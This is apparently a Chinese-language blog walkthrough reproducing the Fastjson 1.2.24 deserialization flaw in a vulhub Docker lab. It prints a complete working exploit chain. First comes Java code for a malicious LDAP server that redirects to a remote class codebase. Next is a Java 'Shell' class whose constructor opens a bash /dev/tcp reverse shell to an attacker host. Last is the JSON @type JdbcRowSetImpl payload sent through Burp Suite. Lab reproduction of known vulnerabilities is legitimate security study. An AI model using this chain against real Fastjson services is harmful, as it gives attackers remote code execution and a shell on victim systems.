Fastjson1.2.24反序列化漏洞復現

Snowieee發表於2021-01-28

Fastjson1.2.24

1. 環境簡介

1.1 物理環境

  Docker+vulhub+fastjson1.2.24靶機容器(kali linux)
  RMI/LDAP伺服器(eclipse+jdk1.8.0_181)
  檔案伺服器(Python3快速http服務)

1.2 網路環境

  win10(主機)(檔案伺服器+LDAP伺服器)
  kali linux(虛擬機器)(fastjson靶機容器+nc監聽埠)

1.3 工具

  Burpsuite(傳送惡意POST請求觸發漏洞)
  Eclipse(執行LDAP服務)
  Ncat(監聽埠接收反彈Shell)
  Java(將需要執行java原始檔編譯成class檔案)
  Python3(快速開啟http,存放編譯後class檔案)

1.4 流程

2. Docker+vulhub+fastjson1.2.24

2.1 Docker啟動

  使用systemctl status docker檢查docker狀態

2.2 vulhub搭建

  可以按照官方教程進行搭建
  https://vulhub.org/#/docs/install-docker-compose/
  下圖為安裝docker-compose成功後的結果,由於python版本問題會出現下圖中的問題,但是並不影響實際操作。

  安裝完成docker和docker-compose後,拉取Vulhub到本地任意目錄即可:
  git clone https://github.com/vulhub/vulhub.git
  成功後如下圖,出現vulhub資料夾,並且其中包含不同框架子資料夾:

2.3 fastjson環境

  進入到vulhub下的fastjson資料夾中所需版本的目錄下

  拉取映象並且執行,如果下載慢的話可以多換幾個源試試
  docker-compose build && docker-compose up -d
  成功後結果如下所示

  docker ps -a檢視容器狀態,已經啟動並且對映至8090埠

啟動成功後,主機訪問虛擬機器埠顯示如下:

  至此fastjson環境搭建成功

3 LDAP伺服器

  本次使用eclipse啟動環境,需要特定的jdk版本,下面為LDAP程式碼,註釋為需要修改內容的說明,根據具體環境進行修改

package fastjson;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://IP:PORT/#Shell";//此處填寫格式為檔案伺服器(存放class檔案)的IP與埠,後接需要獲取的class的檔名,例如請求Shell.class,則填寫/#Shell
        int port = 6099;//此處填寫需要開啟LDAP服務的埠號

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws MalformedURLException, LDAPException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Shell");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

  成功執行後顯示正在監聽6099埠

4 檔案伺服器

  使用python啟動快速http服務,指定埠為11111(python2與python3命令不同)

  成功後通過瀏覽器訪問本機11111埠,可以檢視目錄下的檔案並下載

  需要執行的惡意命令java檔案內容(.java)

import java.io.BufferedReader;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Shell{
    public Shell() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.32.128/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"});//反彈Shell命令,根據具體情況可以修改IP:PORT
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}

  進行編譯,生產Shell.class檔案,並放在啟動的檔案服務目錄下

5 Burpsuite傳送POST請求

Payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://IP:6099/Shell",
        "autoCommit":true
    }
}

6 結果檢視

6.1 LDAP伺服器

6.2 檔案伺服器

接收到GET請求

6.3 監聽埠

反彈Shell成功

相關文章